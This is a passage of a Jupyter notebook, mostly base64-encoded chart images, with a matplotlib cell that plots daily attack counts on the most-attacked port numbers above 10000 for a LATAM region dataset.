XSRYVCYoO5bC+bGJ+ZmV9zC4S/fRpMEKx0onZxYnBwENo0b+SCIFjpRE1xIhgMQpgi\nF/yUcA5wJSs02EQFU2SwXCkc7hU2ywfUwAh1BnDBBY25AOaCVtASYbJ4Cu6CwgSYvCAHYJxzKBle\nMLWrNZ/UxY1K3b0XL5GxZoMHDU21l8KTyKcW/OiJ6TEnbcdVCMpYASHDcDUpcwBcKprgyQ8AKgWh\nyK0YjmoYCIctd5KhoaFpP9u9StqywDBdSjxLloNt3ApsuAwDYg96j6UwGin+nB3nCg5pcbzB41AB\nXNnTjHvf2Tll5rfZbL9kQnfzePtsBG+fO4eJeB+SmX6oZboCNTU1o6cnm2q0ubl50u15MmEIEDmi\nRLgPiAxh2m/eJoMxoLVNFyIMlw3ThQPtnWANjbN/zhxq9b6pixvjNjHDZqkxZnNLiY7ofe9KtE85\nMJYVN8zsKDZXFMtNpcUPNPnAhNnpV5BgsbBYcIIF5xyvnp/AUwfCOB8t/JBe3urGHVtC2NDRCM45\nEnHuiDkxOqJAmX6WSzQ2CY6YEy2tIiSp8gOz2bB+qFjdAIy5vBjc+i6EV1xiiRMzSScaCAQc4kRb\nW1vx4FFccVg35MdsSBawfLAJEvUuODAZmuAFFz36VPCACx5oohdc8EITPOBF13vQ7PPX5IN/PsO5\nnsK1qKhhTKdK82onGJKwbpMH/kBtm4ISTmq1401MTdXbjnMwdQJiZhiSKWIoWbcTQY1V5rRMMtxL\n9L+M2IpIXMSFiIIzfTH0DQxidHT6KSpbUnHLAqNDBNouXovoynfhzdRFGAwXH+AluIojWhxHeRyB\nJglfvGYxVgQ8RbefSfuZKUffPjOKM2fOYWT0AhLpfqhaeS40Xq/XcvHo6enJc2HlnOsuCYM2IcKM\nJxHu09dVAkkG2jryRYnQIiDYUfVMGFW/9mYBrql6f92MsTFmEzNMscOMwRGLViZuSDkwAWj2FRYz\nci03mnxgk7xQJMFiYbGgBItTkSSeei2MQwOFM0MEvRI+tr4N65oaELVl7Sinw5+Lt0FPJ9piuna0\nipBnKZ2o0/ohCm6bRywKPj42u9YPBdAAZAQRGUFCWpSQNuYzooi0ICEjiFOXixJSoozMDFTXVr8P\nPYsC6GxvQUewGQGfBy5BcQSJLGzlYJTVeUYKziRDSDBFBU9WaDBEBUtosEQHLzRRFx7AZjZAnQ8P\n/vmKpnIrtoYZX8MSN5K6O0pziwvdS0WEFkm1G6uFKApdf/VLrbcd01IFA4CKmQgEZbQi8Y/0FK0t\nyIh+RNNeDE8IuBDJ4HTfBPpGFKSU8vtQAtcQTMTQkYqhOdiDRMdVGFUvAisSTDXNNRznCRxHHLdt\nacMNq/wF743ltl88puLts+N48823EA5fQDzVB0Utr/1dLrchTugWFIFAQH/LHhnShYhwX05ciX4g\nVaFUoN5GpxBhEyfgD0464Kw2tX7tzTZcNcSNQpYbuQFFKzBeKBtBAJpbnJYbpqDR0oruD99W3foR\nc8qCECyG4xn89OAQfnNqzPFodYGhncnoFGVsaG5EoyIiNUmQpqnIphOVrNgTbk9pN+u5sn7gAFQm\n6IKBTUBIi4agkFtuCArFypVZMe3iEBngljg8sgavrMEjc3gkDV5j6jHKvJKGRo+AZq+IBjfgFlVI\nLA2h3gUHiJY1g2654MnOC15w0WblYFuvGZYOuYHP5pqF9uCfb1D71TfUfvVLXbcdVyBmRvPdTAwL\njUq9CMhwD8YzHgzFBFwYUTAUY4jEJUQmRMTSAoDSRFdZU9EgNoN5l8Ilt8Mtt0MSnfEdVM7RyxOQ\nO4E7t3WgQXb2eaZqP0Xh6Ds3gd6Tb+PChXOITvQho5RnOSKJMhZ1dWFJ9yL0NHjQlo4DQwNOUWI4\nXLl0nC0BIGSLIWEXJRqnlzGvFqjra6/CcFXVLW9MS41ilhvjo0CsOt9hz69ercp5ieowrwWLpKLh\nl0cj+MXRYagq0AYJbUxGO5PRxmS0zOCtsiyzrNWEIVJ4vNl0orr1Q9QSIKa2fogV9UPjQJ5gYFoo\nWOW5y8W2E0Vok6Zn4xAFQBY4JJHbpoAs6vOSoJdnl/V1+ftk93Usm/NmuchR47FEp4RDtIkKHsu9\nIt+dwigTTbcKfX21BYeZQg/++obar76h9qtf5m3bWSlac+NmGNYZWmXe+KdVAZEJAZG4qIsYxnR4\nQsRYUoTGJ+9siIIXbrlN/5Pa4JaDEAQXOOfoF9PYdlkz1i3Nihq57cc5x8hwEieOn8Pbb+tuHqlM\nBOWkhxOYgPbGZiyVNfSkomgb6YcYNlKBVgJRtKUCNa0kjHgSbZ1g08wiMmdwDsDIuqRNkqkpJ+uS\nx+NCIqXYshpJeqplJhWYz64vluZ3ocIVxRA3SkgFG589FzMSLBYW81KwSGc0/PZoFP/3jRgaFBFt\nTIIfEoRpqsCiCLT4gJaGNPxSDH4Mw5saBovlWD/ExvWLNhaFmklPLSxMKTiI4JIILov6IN8QCxwC\ngsCdU5sYYF/O7ouc5Xzxod7Fg+nAIThcJOzuFPmuFPmCxEINEGlSr51uzjVwaLYpn2K52LTYdkXK\nwZ1lpR43d7+y6lT8s4iiCLUWUq4R00KWZGgawCBCYCIYEyBABGPmsggBQs6ysV2hZdi2YwIYk5z7\nQ4DAJMf2+rykb2+vB5PAcvat1zeylaBe750zhamJggFARSUCUalMTAVVA0YTYp6YoU9FZNTCL3Nk\nsQVuOZgVMlpbccUWH9o7JPh8PoQHhnHi+HmcOX0Og0PnkUgNohyBgoEhwBkuGuvDksg5dMTHIM12\nIEW3J2sdkStKBNrLz/JgFwmMtM2liAR5qZmtfTJF00QX2sd53EksSzigW9wwAIb1DRey8+D6H+PZ\n+UJ/zH5IZokYnMlWumi70JFdX0j8MFNDy06hRMgXR+abeMKVjJ4JJWpLBWumfR0bcQYUjU8ey4UE\ni4VFTQsWr7/+Onbv3g1N03DdddfhQx/60JT7PPk/jiIV4xBKNAk04Zzruay1FLxqGA2JC/BMnId7\n/BzE2CAyAoMiS9DcIjRZgmYICdwlgOsqACALYJIASAIkCZYlgm5FgDxxQTYEBOeybf1s3YccN2z7\nnwDwQuXG3yTr2GT7TbGv/rAwl5EzP10E2w1dtt38jXkm6zd4ITuvWWWy/l3UYCfavDy58dDUl23T\n3HLbA1YfoGbLp9rHXHZun3tuzbFszouiCEVRsoNqGINjGKIAMwfaPLsN5+DMNpA219mWNdvAWnPs\na5blCwHmPlpeueoo14xAqdzoWHLGs/P278W+TcHybCkKlNmXAUxRbhyl9n6Ks4v1MbP/zGXn//al\n3LXMdoxi5c5t7Ge0lnix7YvVKf98hbcsdvbidbXXpXg9nN9PPf5YGHRrRF28EIwSU8jIzjNjUMGY\nYO0DXToBmKBvZytn5raO4+jlMM9nP55x38+ezziOta253lmnvPOZLcJy6z1127hdbqTSaf2RCaY/\nIo0pmBkhImfZtOQ0j89y9gMrfDxz2fh+JtvHWrafY67QMrpwUTCryQgqFeQ6msy3zIhM6NN4xt5P\nEeCWA2hsCCCjxBCb6AcvM22sT2XoGR/GspGzWBQfhavUXNYiAzP+IDEwUQCTmF7uawYLBMECrWB+\nP1hLC1iLD6y5EXC7rMG9bolgiASaZggCKphmTLkGcA1M0wwRQQPjGhjnxjzX55ErAujL3Or/CeBg\n4PZ1xrViL3P2Rc1tBON+aBcXjOvKEBys69XY37ruIDj+ZgNu7/s4nuIFypk26TblbKvPa8Z1n7ut\neYzsr4+Dgxv3Cc6y3X+rd+dYx6x1mu2eom+jX//O5ZypwKAZy/r9QgBnZn/G7FPZ+1i2b8C2XbFH\nGFdVIJXU468kjWkqCSQTQCqB99757Gw0LVEn1GwoeE3T8MQTT+ArX/kKAoEAHnjgAWzduhXd3d2T\n7ifGfo9GaBCggTFuTRkDGNPM2ycEvf+SvTUaD2bR7Be0AgILgrEgAMAD+6A7C8spz+9EMkAFmCpA\nBYzHLMu5Su3725Y5sx0vZ511HHt9ctY56lP7WLcvu4ZmDqK5bSues86xXi/nZhlXASgAktlzmMe3\nBv8ofE77srWP/h+3zefXOedzWAN75/qsVsitw9g+XP5n5bnnzR6Q59Uxpw45x+MF6ujY2X4O67w5\nnxO2crMTwoxfHBOMzrVxoZluSMbghDOjHNmpowyCtY+z3LkfR/5xzI61OagxTuzopEO/CxjzQrbj\nbts/uw/y62mWmdeXWRfre0B2nb2u1rbO/e3r9LrZt0O2rMD2VlOxItvY5u3rre/WPAlDgT2cZ8+v\nia3aOeW52+nLzLnOOkjxmufUODvPJqtj/jEdx2GFvp1Cx8mZN7922zELfda874I5r5uSz2ftP8Xn\ncdwP6oecO20Va1DltIB1gm2IYdwzebYNbdcyt88jv43zyozt7d0Z64nEAKBV75SZ5VwDoBlv1vUB\nN7gKBsW2t/3Pfj5nee6z1FwWALQ1cLQ16MsaB9IqkFEZMipDSuHIKBFoAtDpDkBgej9SACAIDAzc\n6E/ah9UcIqwnHIA2jOFijDl6kva+m71faEy5sc780jXYtte/MBYHMAGwcwCQAfiotX/2VsRsz3MB\nuuAgVbjfYhdlqt9vMVvafF7rg3Mh+/w1hEnNXLb1U/TBt02AYfo2mq2foNfedjxbPyS7nXFumMfU\n66DX1CkS6BgigVVfWOWc6evM/gxHtl/jKLce+85ja+bThdnPkz0GN9aZZc5jOPsZjm0Yg5a3j207\npv+nsWyZWR/nMmz1Ad4LYiFRs4JFb28vOjs7EQqFAABXX301Xn311SkFiySuzC4Ueh4RBMuZEkS9\nktvXnuv9CYIgFiIMgBF6ak5Dfuf2X2o3CQdRIeZlk1N/nJiCmv3dRyIRBINBazkQCCASiVSxRgRB\nEARBEARBEARBzBU1a2FRCkeOHMGRI0es5VtuuQV3/dm6KtaIIAiCIAiCIAiCqCTPP/+8Nb9+/Xqs\nX7++irUhKknNWlgEAgEMD2dTOA0PDyMQCDi2Wb9+PW655Rbrz/7DJeoPar/6hdquvqH2q2+o/eoX\narv6htqvfqG2q2+ef/55xxiQxIr5Tc0KFitWrEB/fz/C4TAURcG+ffuwdevWaleLIAiCIAiCIAiC\nIIg5oGZdQkRRxB133IFvfOMbVlrTqQJuEgRBEARBEARBEAQxP6hZwQIANm/ejM2bN5e8PZkD1TfU\nfvULtV19Q+1X31D71S/UdvUNtV/9Qm1X31D7LSwY55yS2REEQRAEQRAEQRAEUVPUbAwLgiAIgiAI\ngiAIgiAWLiRYEARBEARBEARBEARRc5BgQRAEQRAEQRAEQRBEzVHTQTfL4fXXX8fu3butjCIf+tCH\nql0lokR+9KMf4cCBA/D5fHj00UerXR2iDIaGhrBr1y6MjY2BMYb3vOc9eP/731/tahElkk6n8bWv\nfQ2ZTAaKouCyyy7D7bffXu1qEWWgaRruv/9+BAIB3H///dWuDlEGO3fuhNfrhSAIEEUR3/zmN6td\nJaJEJiYm8Pjjj+PcuXMAgLvvvhurV6+ucq2IUrhw4QIee+wxa3lgYAC33nor9V3qhBdeeAEvv/wy\nGGNYsmQJ7rnnHsiyXO1qERVmXggWmqbhiSeewFe+8hUEAgE88MAD2Lp1K6VBrRPe/e5344YbbsAP\nf/jDaleFKBNJkvCJT3wCS5cuRTKZxJe+9CVs3LiRrr06weVy4atf/SrcbjdUVcVf/MVf4Pjx41iz\nZk21q0aUyL/927+hu7sbiUSi2lUhpsHXvvY1NDU1VbsaRJk89dRT2Lx5M+677z6oqopUKlXtKhEl\n0tXVhW9961sA9PHDZz7zGVx++eVVrhVRCuFwGC+99BK++93vQpZlfPe738XevXtx7bXXVrtqRIWZ\nFy4hvb296OzsRCgUgiRJuPrqq/Hqq69Wu1pEiaxduxaNjY3VrgYxDfx+P5YuXQoA8Hg8WLx4MUZG\nRqpbKaIs3G43AEBRFGiaRoOnOmJ4eBgHDhzAddddB0r4VZ9Qu9Uf8Xgcx48fx3XXXQcAEEURDQ0N\nVa4VMR0OHz6Mjo4OtLW1VbsqRAk0NDRAFEWkUilLKAwEAtWuFjEHzAsLi0gkgmAwaC0HAgH09vZW\nsUYEsfAIh8M4c+YMVq1aVe2qEGWgaRq+9KUvYWBgANdffz1Zx9QRTz/9ND7+8Y+TdUWdwhjDww8/\nDEEQsGPHDuzYsaPaVSJKIBwOw+fz4Uc/+hHOnj2LZcuW4VOf+pQl/hL1w969e7Ft27ZqV4Mokaam\nJtx4442455574HK5sGnTJmzcuLHa1SLmgHlhYUEQRHVJJpP4zne+g09+8pPweDzVrg5RBoIg4Nvf\n/jYef/xxHDt2DEeOHKl2lYgS2L9/P3w+H5YtW0Zv6euUhx9+GN/61rfw4IMP4sUXX8SxY8eqXSWi\nBFRVxenTp3H99dfjkUcegcfjwS9/+ctqV4soE0VRsH//flx55ZXVrgpRIv39/fjVr36FXbt24Sc/\n+QmSySRefvnlaleLmAPmhWARCAQwPDxsLQ8PD5OJEEHMEYqi4NFHH8U111xDfqB1TENDAzZv3ow3\n33yz2lUhSuDEiRPYv38/du7cie9973s4cuQIxQGqM1pbWwEAPp8Pl19+OVmG1gnBYBCBQAArV64E\nALzzne/E6dOnq1wrolwOHDiA5cuXw+fzVbsqRImcOnUKF198MZqbmyGKIq644gqcOHGi2tUi5oB5\nIVisWLEC/f39CIfDUBQF+/btw9atW6tdLYKY93DO8fjjj2Px4sX4wAc+UO3qEGUSjUYxMTEBQM8Y\ncvjwYSxbtqzKtSJK4fbbb8ePf/xj7Nq1C5/73Oewfv16/Omf/mm1q0WUSCqVslx5kskkDh06hCVL\nllS5VkQp+P1+tLW14cKFCwCAQ4cOkStdHbJ3715cffXV1a4GUQZdXV04efIk0uk0OOd07S0g5kUM\nC1EUcccdd+Ab3/iGldaUfsD1w2OPPYZjx45hfHwcd999N2655Ra8+93vrna1iBI4ceIEXn75ZSxZ\nsgRf/OIXAegDqUsvvbTKNSNKYXR0FLt27YKmaeCcY/v27diwYUO1q0VMA8ZYtatAlMHY2Bi+/e1v\nA9DjyGzbtg2bNm2qcq2IUvnUpz6FH/zgB1AUBR0dHbjnnnuqXSWiDJLJJA4fPoy77rqr2lUhymDp\n0qXYvn077r//fjDGsGzZMor9s0BgnJxfCYIgCIIgCIIgCIKoMeaFSwhBEARBEARBEARBEPMLEiwI\ngiAIgiAIgiAIgqg5SLAgCIIgCIIgCIIgCKLmIMGCIAiCIAiCIAiCIIiagwQLgiAIgiAIgiAIgiBq\nDhIsCIIgCIIgCIIgCIKoOUiwIAiCIAgCALBz504cPny42tUgCIIgCIIAAEjVrgBBEARB1As7d+7E\n2NgYRFGEIAjo7u7G9u3bsWPHDjDGZvVc4XAY9957Ly699FI88MADVvn3v/99LFq0CDfffPOsns9k\ntj8HQRAEQRDEdCHBgiAIgiDK4P7778cll1yCRCKBI0eOYPfu3Th58iTuueeeipyvt7cXb7zxBlav\nXg1AFxRqXVRQVRWiKFa7GgRBEARB1DkkWBAEQRDENPB6vdi6dSv8fj8eeugh3Hjjjejp6cFrr72G\n5557DgMDA2hoaMB1111nWUN885vfxObNm/G+973POs7nP/953HrrrbjssssKnueDH/wgnn32WXz1\nq1/NW/fb3/4Wv/nNb/BXf/VXVtmtt96K73//++jo6MCuXbvgdrsxODiIY8eOYenSpfjzP/9zvPDC\nC9izZw/8fj8++9nPYunSpdb+vb29ePLJJzEyMoLLLrsMd955J2RZBgDs378fzz33HIaGhtDd3Y07\n77wTS5YsAaBbn1x//fV4+eWX0dfXh2eeeQaCQJ6nBEEQBEFMH+pJEARBEMQMWLlyJYLBII4fPw4A\n8Hg8uPfee/H000/jgQcewL//+7/jlVdeAQBce+21ePnll619z5w5g5GREbzjHe8oevzrr78efX19\n044t8fvf/x5/9Ed/hCeeeAKSJOGhhx7CihUr8OSTT+KKK67A008/7dj+d7/7Hb785S/jBz/4Afr6\n+vBP//RPAIDTp0/j8ccfx1133YUnn3wSO3bswCOPPAJFUax99+3bhwcffBC7d+8msYIgCIIgiBlD\nvQmCIAiCmCGtra2IxWIAgHXr1qGnpwcAsGTJElx99dU4evQoAGDLli24cOEC+vv7AQB79uzBVVdd\nNan7hMvlwk033YTnnnsOAMA5L7lejDFcccUVWLZsGWRZxuWXXw63243t27eDMYarrroKZ86ccezz\nvve9D4FAAE1NTbjpppuwd+9eAMB//ud/YseOHVi5ciUYY3jXu94FWZZx8uRJa98bbrgBgUDAssgg\nCIIgCIKYCeQSQhAEQRAzJBKJoKmpCQBw8uRJ/MM//APefvttKIqCTCaDK6+8EoAuPlx55ZXYs2cP\nbr75Zuzbtw/33XfflMe/7rrr8M///M/Yv39/2fErfD6fNX4mfsIAAAK1SURBVC/LMlpaWqxll8uF\nZDLp2D4YDFrzbW1tGBkZAQAMDQ1hz549+PWvf22tVxTFWp+7L0EQBEEQxEwhwYIgCIIgZkBvby8i\nkQjWrFkDQM/iccMNN+Chhx6CJEnYvXs3xsfHre2vvfZa/PCHP8SaNWvgdruxatWqKc8hSRI++tGP\n4mc/+xm6u7stKwu3241UKmVtNzo6OuPPMzQ05JgPBAIAdDHiwx/+MG666aai+9Z6MFCCIAiCIOoL\ncgkhCIIgiDIwxYJ4PI79+/fje9/7HrZv3265gSSTSTQ2NkKSJPT29mLv3r2Ogfzq1avBGMMzzzyD\n7du3l3ze7du3I5PJ4ODBg9bxLrroIpw7dw5nzpxBOp3G888/X7Cu5fDiiy8iEokgFovhF7/4Ba66\n6ioAwI4dO/Af//Ef6O3tBeccyWQSr732Wp6FBkEQBEEQxGxBFhYEQRAEUQaPPPIIRFEEYww9PT24\n8cYb8d73vtda/yd/8id45pln8OSTT2Lt2rW48sorEY/HHcfYvn07nn/+eXzhC18o+byCIOCWW27B\nY489ZpV1dXXhIx/5CB5++GG43W7cdttteOmll6z1uSlQS7GA2LZtG77+9a9bWUJMi4rly5fjrrvu\nwhNPPIH+/n64XC6sWbMG69atK/kzEARBEARBlAPj03n9QhAEQRDEtNmzZw9eeukl/OVf/mW1q0IQ\nBEEQBFGzkEsIQRAEQcwhqVQKL774It7znvdUuyoEQRAEQRA1DQkWBEEQBDFHvP766/j0pz8Nv9+P\nbdu2Vbs6BEEQBEEQNQ25hBAEQRAEQRAEQRAEUXOQhQVBEARBEARBEARBEDUHCRYEQRAEQRAEQRAE\nQdQcJFgQBEEQBEEQBEEQBFFzkGBBEARBEARBEARBEETNQYIFQRAEQRAEQRAEQRA1x/8H4xHx1bQn\niIMAAAAASUVORK5CYII=\n",
       "text": [
        "<matplotlib.figure.Figure at 0x1092de2d0>"
       ]
      }
     ],
     "prompt_number": 63
    },
    {
     "cell_type": "heading",
     "level": 4,
     "metadata": {},
     "source": [
      "Most attacked port numbers > 10000"
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "from matplotlib import pyplot as plt\n",
      "mpl.style.use('ggplot')\n",
      "fig = plt.figure(figsize=(16, 8))\n",
      "fig.suptitle('LATAM Region - Events on port numbers > 10000', fontsize=20)\n",
      "attacker_df['allattackedPorts'] = attacker_df['allattackedPorts'].astype(int)\n",
      "for port in attacker_df['allattackedPorts'].value_counts()[:20].index:\n",
      "        plt.plot(attacker_df[attacker_df == port]['allattackedPorts'].resample(\"D\", how='count'), label=str(port),linewidth=4)\n",
      "plt.xlabel('Day Number')\n",
      "plt.ylabel('Number of Attacks')\n",
      "plt.legend(title=\"Port Number\",bbox_to_anchor=(1.05, 1), loc=2, borderaxespad=0.)  \n",
      "plt.show()"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [
      {
       "metadata": {},
       "output_type": "display_data",
       "png": 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\nh0FFwL6zb+w/+8b+s1/sO/vG/rNf7Dv7VqVKFVuHUGhZWVlISUmxdRh2y9vb2+IaGxyZQURERERE\nRER2hckMIiIiIiIiIrIrTGYQERERERERkV1hMoOIiIiIiIiI7AqTGURERERERERkV5jMICIiIiIi\nIiK7wmQGEREREREREdkVJjOIiIiIiIiIyK4wmUFERERERERUCkVHRyMwMBDBwcEIDg5G69atjec2\nb96MVq1aISgoCD179sTZs2dNrj106BCefPJJBAcHo379+vjyyy+N586cOYPo6GgEBQWhdevW2Lx5\ns9VjZzKDiIiIiIiIqJR6//33kZCQgISEBGzcuBEAcOXKFTz//PN44403cOTIEdSrVw/Dhg0zXnPl\nyhX0798fAwcORFxcHLZt22aSCBk+fDjq1q2LuLg4vPHGGxg6dCiuXLli1bgdrdoaEREREREREd2T\nfsh/rN6mwxcrC32NiJiV/fLLLwgJCcHjjz8OABg9ejTCw8Nx8uRJBAYG4vPPP0dUVBS6d+8OAChT\npgyCgoIAACdPnkRcXBwWL14MrVaLLl264Msvv8SaNWswYMCA+3h1pjgyg4iIiIiIiKiUmjRpEurU\nqYPu3btj+/btAICEhASEhoYa67i4uCAgIAAJCQkAgH379sHT0xPdunVDvXr1EBMTY5yGkpCQgEce\neQSurq7G60NDQ43XWguTGURERERERESl0NixY7Fjxw7s3bsX/fr1Q0xMDP755x/cuHEDHh4eJnXd\n3d1x/fp1AMC5c+ewdOlSvPfee9i5cyceeeQRvPjiiwCAjIyMu15rLZxmQkRERERERFQKNWjQwPj3\nnj17YsWKFfjrr7/g6uqKa9eumdS9du0a3N3dAdweqdG5c2fUrVsXABAbG4s6derg+vXrcHNzM0tc\nXL161SzBcb+YzCAiIiIiIiIqYUVZ36KkhISE4McffzQe37hxA0lJSQgODgYA1K5dO99rg4ODcfr0\naWRkZMDNzQ0AcOTIETz11FNWjZHTTIiIiIiIiIhKmatXr2LDhg3IzMyETqfDsmXL8PfffyMqKgqd\nO3dGfHw8fvnlF2RmZmLq1KkICwtDYGAgAKB379747bffEBcXh+zsbEyfPh1NmjSBu7s7AgMDERoa\niqlTpyIzMxO//PIL4uPj0aVLF6vGz5EZRERERERERKWMTqfDxx9/jBMnTsDBwQFBQUGYP38+AgIC\nAABz587F22+/jZEjR6Jhw4aYM2eO8drIyEi88cYbGDhwIDIzM9G4cWPMmjXLeH7OnDl4+eWXERYW\nBn9/f8ydOxfly5e3avxKLO3DYsfOnTtn6xCoiDw8PMzmZZF9YN/ZN/affWP/2S/2nX1j/9kv9p19\nq1Kliq1DKLSsrCykpKTYOgy75e3tDa1Wa1bOaSZEREREREREZFeYzCCi+yLZt6A/+w8eskFeRERE\nRET0AOOaGURUZHIhGTmTXsO1GxlASB1oYidCOTjYOiwiIiIiInrIcWQGERWZLP8WuJFx+yD+EGTn\nJtsGREREREREpQKTGURUJKLXQ47sNy3bvcVG0RARERERUWnCZAYRFc2peOBmhmlZ3D7Ijeu2iYeI\niIiIiEoNJjOIqEgkbp95oV4H2f93yQdDRERERESlCpMZRFQkFpMZAGQXp5oQEREREVHxYjKDiApN\nrl8Fko5bPnl0PyTjWskGREREREREpQqTGURUaHJkPyBi+aReD9m3o2QDIiIiIiKiIktMTESNGjUw\ncuRIs3PTpk2Dv78/tmy5MwJ7ypQpqFatGoKDgxEcHIyQkBCcOXOmJENmMoOIiiDvFBMXN5ND7mpC\nRERERGQ/xo4di/r160MpZVKelJSENWvWoFKlSiblSil069YNCQkJSEhIQHx8PKpWrVqSIcOxRO9G\nRHZPRCBHTJMZLr0H4+bCmXcKjh6AXL8K5V62hKMjIiIiIrIP3b49ZvU2V/SrVf